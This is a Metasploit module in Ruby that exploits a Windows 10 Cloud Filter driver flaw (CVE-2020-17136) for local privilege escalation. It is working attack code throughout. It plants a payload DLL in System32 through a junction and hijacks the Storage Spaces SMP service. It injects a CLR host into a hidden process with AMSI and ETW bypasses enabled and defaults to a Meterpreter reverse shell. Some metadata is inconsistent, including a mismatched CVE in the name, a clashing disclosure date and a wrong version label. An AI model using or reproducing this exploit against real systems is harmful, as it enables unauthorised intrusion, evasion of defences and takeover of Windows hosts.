## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local include Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::Dotnet include Msf::Post::Windows::Services include Msf::Post::Windows::FileSystem include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP', 'Description' => %q{ The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December 2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders() function with attacker controlled input. This meant that files were created with KernelMode permissions, thereby bypassing any security checks that would otherwise prevent a normal user from being able to create files in directories they don't have permissions to create files in. This module abuses this vulnerability to perform a DLL hijacking attack against the Microsoft Storage Spaces SMP service, which grants the attacker code execution as the NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one of the Meterpreter payloads, as doing so will allow them to subsequently escalate their new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Foreshaw', # Vulnerability discovery and PoC creator 'Grant Willcox' # Metasploit module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Privileged' => true, 'Arch' => [ARCH_X64], 'Targets' => [ [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2020-03-10', 'References' => [ ['CVE', '2020-17136'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136'] ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', } ) ) register_options( [ OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]), OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]), OptInt.new('WAIT', [false, 'Time in seconds to wait', 5]) ], self.class ) register_advanced_options( [ OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false]) ] ) end def check_requirements(clr_req, installed_dotnet_versions) installed_dotnet_versions.each do |fi| if clr_req == 'v4.0.30319' if fi[0] == '4' vprint_status('Requirements ok') return true end elsif fi[0] == '3' vprint_status('Requirements ok') return true end end print_error('Required dotnet version not present') false end def check sysinfo_value = sysinfo['OS'] if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') end build_num_raw = cmd_exec('cmd.exe /c ver') build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/) if build_num.nil? return CheckCode::Unknown("Couldn't retrieve the target's build number!") else build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0] vprint_status("Target's build number: #{build_num}") end build_num_gemversion = Gem::Version.new(build_num) # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/ if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion < Gem::Version.new('10.0.19042.685')) # Windows 10 20H2 return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!') elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion < Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1 return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!') elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909 return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!') elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903 return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!') elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809 return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!') elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803 return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!') else return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!') end end def exploit if sysinfo['Architecture'] != 'x64' fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!') elsif session.arch != 'x64' fail_with(Failure::NoTarget, 'Sorry, WoW64 is not supported at this time!') end dir_junct_path = 'C:\\Windows\\Temp' intermediate_dir = rand_text_alpha(10).to_s junction_dir = rand_text_alpha(10).to_s path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}" mkdir("#{path_to_intermediate_dir}") if !directory?("#{path_to_intermediate_dir}") fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!') end register_dir_for_cleanup("#{path_to_intermediate_dir}") mkdir("#{path_to_intermediate_dir}\\#{junction_dir}") if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}") fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!') end mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\') if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}") fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!') end exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe' unless File.file?(exe_path) fail_with(Failure::BadConfig, 'Assembly not found') end installed_dotnet_versions = get_dotnet_versions vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}") if installed_dotnet_versions == [] fail_with(Failure::BadConfig, 'Target has no .NET framework installed') end if check_requirements('v4.0.30319', installed_dotnet_versions) == false fail_with(Failure::BadConfig, 'CLR required for assembly not installed') end payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll" print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...") write_file(payload_path, generate_payload_dll) register_file_for_cleanup(payload_path) execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}") service_start('smphost') register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll') sleep(3) delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle) end def pid_exists(pid) mypid = client.sys.process.getpid.to_i if pid == mypid print_bad('Cannot select the current process as the injection target') return false end host_processes = client.sys.process.get_processes if host_processes.empty? print_bad('No running processes found on the target host.') return false end theprocess = host_processes.find { |x| x['pid'] == pid } !theprocess.nil? end def launch_process process_name = 'notepad.exe' print_status("Launching #{process_name} to host CLR...") process = client.sys.process.execute(process_name, nil, { 'Channelized' => true, 'Hidden' => true, 'UseThreadToken' => true, 'ParentPid' => 0 }) hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS) print_good("Process #{hprocess.pid} launched.") [process, hprocess] end def inject_hostclr_dll(process) print_status("Reflectively injecting the Host DLL into #{process.pid}..") library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll') library_path = ::File.expand_path(library_path) print_status("Injecting Host into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) [exploit_mem, offset] end def execute_assembly(exe_path, exe_args) if sysinfo.nil? fail_with(Failure::BadConfig, 'Session invalid') else print_status("Running module against #{sysinfo['Computer']}") end if datastore['WAIT'].zero? print_warning('Output unavailable as wait time is 0') end process, hprocess = launch_process exploit_mem, offset = inject_hostclr_dll(hprocess) assembly_mem = copy_assembly(exe_path, hprocess, exe_args) print_status('Executing...') hprocess.thread.create(exploit_mem + offset, assembly_mem) if datastore['WAIT'].positive? sleep(datastore['WAIT']) read_output(process) end if datastore['KILL'] print_good("Killing process #{hprocess.pid}") client.sys.process.kill(hprocess.pid) end print_good('Execution finished.') end def copy_assembly(exe_path, process, exe_args) print_status("Host injected. Copy assembly into #{process.pid}...") int_param_size = 8 sign_flag_size = 1 amsi_flag_size = 1 etw_flag_size = 1 assembly_size = File.size(exe_path) cln_params = '' cln_params << exe_args cln_params << "\x00" payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size payload_size += assembly_size + cln_params.length assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE) params = [ assembly_size, cln_params.length, datastore['AMSIBYPASS'] ? 1 : 0, datastore['ETWBYPASS'] ? 1 : 0, 2 ].pack('IICCC') params += cln_params process.memory.write(assembly_mem, params + File.read(exe_path)) print_status('Assembly copied.') assembly_mem end def read_output(process) print_status('Start reading output') old_timeout = client.response_timeout client.response_timeout = 5 begin loop do output = process.channel.read if !output.nil? && !output.empty? output.split("\n").each { |x| print_good(x) } end break if output.nil? || output.empty? end rescue Rex::TimeoutError vprint_warning('Time out exception: wait limit exceeded (5 sec)') rescue ::StandardError => e print_error("Exception: #{e.inspect}") end client.response_timeout = old_timeout print_status('End output.') end end